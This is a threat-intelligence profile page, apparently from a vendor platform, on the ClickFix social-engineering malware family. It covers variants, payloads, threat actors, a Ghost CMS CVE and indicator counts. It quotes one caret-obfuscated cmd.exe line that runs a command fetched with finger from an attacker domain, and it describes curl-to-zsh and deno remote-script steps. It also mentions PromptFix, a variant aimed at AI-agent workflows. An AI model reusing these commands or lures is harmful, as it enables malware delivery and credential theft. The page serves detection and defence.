Loading malware…
ClickFix is a social-engineering malware delivery technique and mature malware-as-a-service ecosystem that tricks victims into manually executing attacker-supplied commands under the guise of solving a benign problem such as a CAPTCHA check, browser error, update prompt, meeting issue, or access failure. Rather than exploiting a software vulnerability, it abuses trusted user workflows and legitimate system tools to cross security boundaries, commonly directing users to paste commands into Windows Run, Windows Terminal, PowerShell, File Explorer, or macOS Terminal. Campaigns have been delivered through compromised websites, phishing, malvertising, watering-hole activity, fake update pages, and other lures, with infrastructure increasingly using API-driven backends, traffic-distribution systems, and even blockchain-based configuration retrieval to rotate payload delivery and evade static detection.
ClickFix is best understood as an initial-access framework rather than a single payload family. It has been used to deliver a wide range of follow-on malware including infostealers, remote access trojans, loaders, and post-exploitation implants. Observed payloads and related variants include Lumma Stealer, DarkGate, AsyncRAT, XWorm, NetSupport, SectopRAT, ModeloRAT, Python-based RATs, Perl-based stealers on macOS and Linux, and other custom loaders. Post-execution behavior commonly includes payload download and in-memory execution, reconnaissance, persistence through scheduled tasks or startup mechanisms, credential and cookie theft, cryptocurrency wallet targeting, keylogging, exfiltration, and additional malware staging. Attackers frequently rely on living-off-the-land binaries such as PowerShell, mshta, rundll32, curl, and other trusted components to reduce obvious malware signals.
The ecosystem has evolved into multiple named variants that preserve the same core model of trusted-workflow abuse. Examples include CrashFix, which induces browser instability before presenting a fake recovery prompt; FileFix, which abuses the Windows File Explorer address bar; InstallFix, which embeds malicious commands into expected software installation workflows; ConsentFix, which extends the model into OAuth authorization abuse; and PromptFix, which applies similar deception to AI-agent workflows. Operational reporting has also documented ClickFix delivery chains using Deno as an execution orchestrator, pcalua.exe for parent-process evasion, WordPress compromises for large-scale distribution, and EtherHiding or smart-contract lookups for resilient next-stage resolution.
ClickFix campaigns have targeted enterprise and consumer users globally, including organizations in North America, Europe, and the Middle East. Victim sectors have included government, financial services, education, transportation and logistics, cryptocurrency and Web3 firms, universities, and general enterprise environments. Both financially motivated cybercriminals and state-linked actors have adopted the technique, including reporting that links ClickFix-based operations to groups associated with Russia, Iran, North Korea, and ransomware or extortion ecosystems. Its defining characteristic is not a specific malware family but the repeated abuse of trusted interfaces and user actions to initiate malicious execution and enable downstream compromise.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
The attackers used the Ghost CMS vulnerability to tamper with website articles by appending malicious JavaScript loaders to the bottom of pages. These loaders were designed to support ClickFix attacks — a growing social engineering tactic that tricks users into manually executing malware on their systems. | A critical Ghost CMS vulnerability identified as CVE-2026-26980 has been exploited in a widespread cyber campaign that compromised more than 700 websites... The Ghost CMS vulnerability is an SQL injection flaw affecting Ghost’s Content API.
9 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Jumpsec said in a report shared with Cyber Security News (CSN) that the kit impersonates Zoom and Teams meetings while quietly profiling wallets and guiding victims into a ClickFix paste step.
Jumpsec said in a report shared with Cyber Security News (CSN) that the kit impersonates Zoom and Teams meetings while quietly profiling wallets and guiding victims into a ClickFix paste step.
title : ClickFix to EtherHiding description : A single pasted command that ran all the way to a Python RAT reading its C2 off the Ethereum blockchain.
ClickFix, the trick that fools people into running malware by hand, has quietly grown a back office. New research shows the malicious commands behind its fake "prove you're human" pages are now handed out by API-driven servers that give each visitor the same malware in a different disguise.
ClickFix, the trick that fools people into running malware by hand, has quietly grown a back office. New research shows the malicious commands behind its fake "prove you're human" pages are now handed out by API-driven servers that give each visitor the same malware in a different disguise.
ClickFix, the trick that fools people into running malware by hand, has quietly grown a back office. New research shows the malicious commands behind its fake "prove you're human" pages are now handed out by API-driven servers that give each visitor the same malware in a different disguise.
32 distinct techniques documented for this family, organized by ATT&CK tactic.
Victims are tricked into executing a crafted command that initiates PowerShell, spawns cmd.exe via WMI, and mounts a remote WebDAV share.
Une tâche planifiée maintient la communication C2 via deno.exe exécutant un JavaScript distant.
The script uses base64 decoding and an XOR key to execute the EtherHiding loader seamlessly.
The decoded payload is a daemon... and calls back to genomicsforge[.]com for an AppleScript payload (on macOS) executed via osascript.
cmd.exe /c s^t^a^r^t "" /min for /f "delims=@" %o in ('finger NriTDRRnWE@finger.claudeam.com') do %o
The real action is a curl request to genomicsforge[.]com that downloads and immediately pipes a shell script to zsh.
Exécution d’un payload JavaScript distant hébergé sur infrastructure attaquante via deno.exe
Via osascript, the attacker can read files, access the macOS Keychain, capture screenshots, and automate GUI apps to export saved passwords.
Carets are inserted between every character of start, finger, and the domain, so neither the command name nor finger.claudeam.com exists as a contiguous string anywhere in the command line.
A newly observed ClickFix variant abuses the legitimate Windows binary pcalua.exe to evade parent-process detection and launch malicious activity.
Via osascript, the attacker can read files, access the macOS Keychain, capture screenshots, and automate GUI apps to export saved passwords.
Rather than hardcoding command-and-control infrastructure, the script dynamically retrieves its configuration from a Polygon blockchain smart contract, allowing attackers to rotate infrastructure without modifying compromised sites.
Une tâche planifiée maintient la communication C2 via deno.exe exécutant un JavaScript distant.
551 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
73 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A trusted-intermediary abuse technique/family that tricks users or other trusted workflows into executing attacker-controlled commands, transferring malicious artifacts, or authorizing attacker access across security boundaries. Variants extend from command execution to workflow abuse, identity compromise, and conceptual AI-agent manipulation.
ClickFix is described as the social-engineering/infection technique used to lure users into executing a malicious PowerShell command from the clipboard, initiating the intrusion chain.
A socially engineered malware delivery scheme/loader variant that tricks victims into executing a crafted command, launches PowerShell and cmd.exe via WMI, mounts a remote WebDAV share, retrieves payloads over CDN-backed HTTPS infrastructure, and executes a malicious DLL with rundll32.exe.
Mentioned only as a related social-engineering/lure context for malicious PowerShell execution, not as the main malware under analysis.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.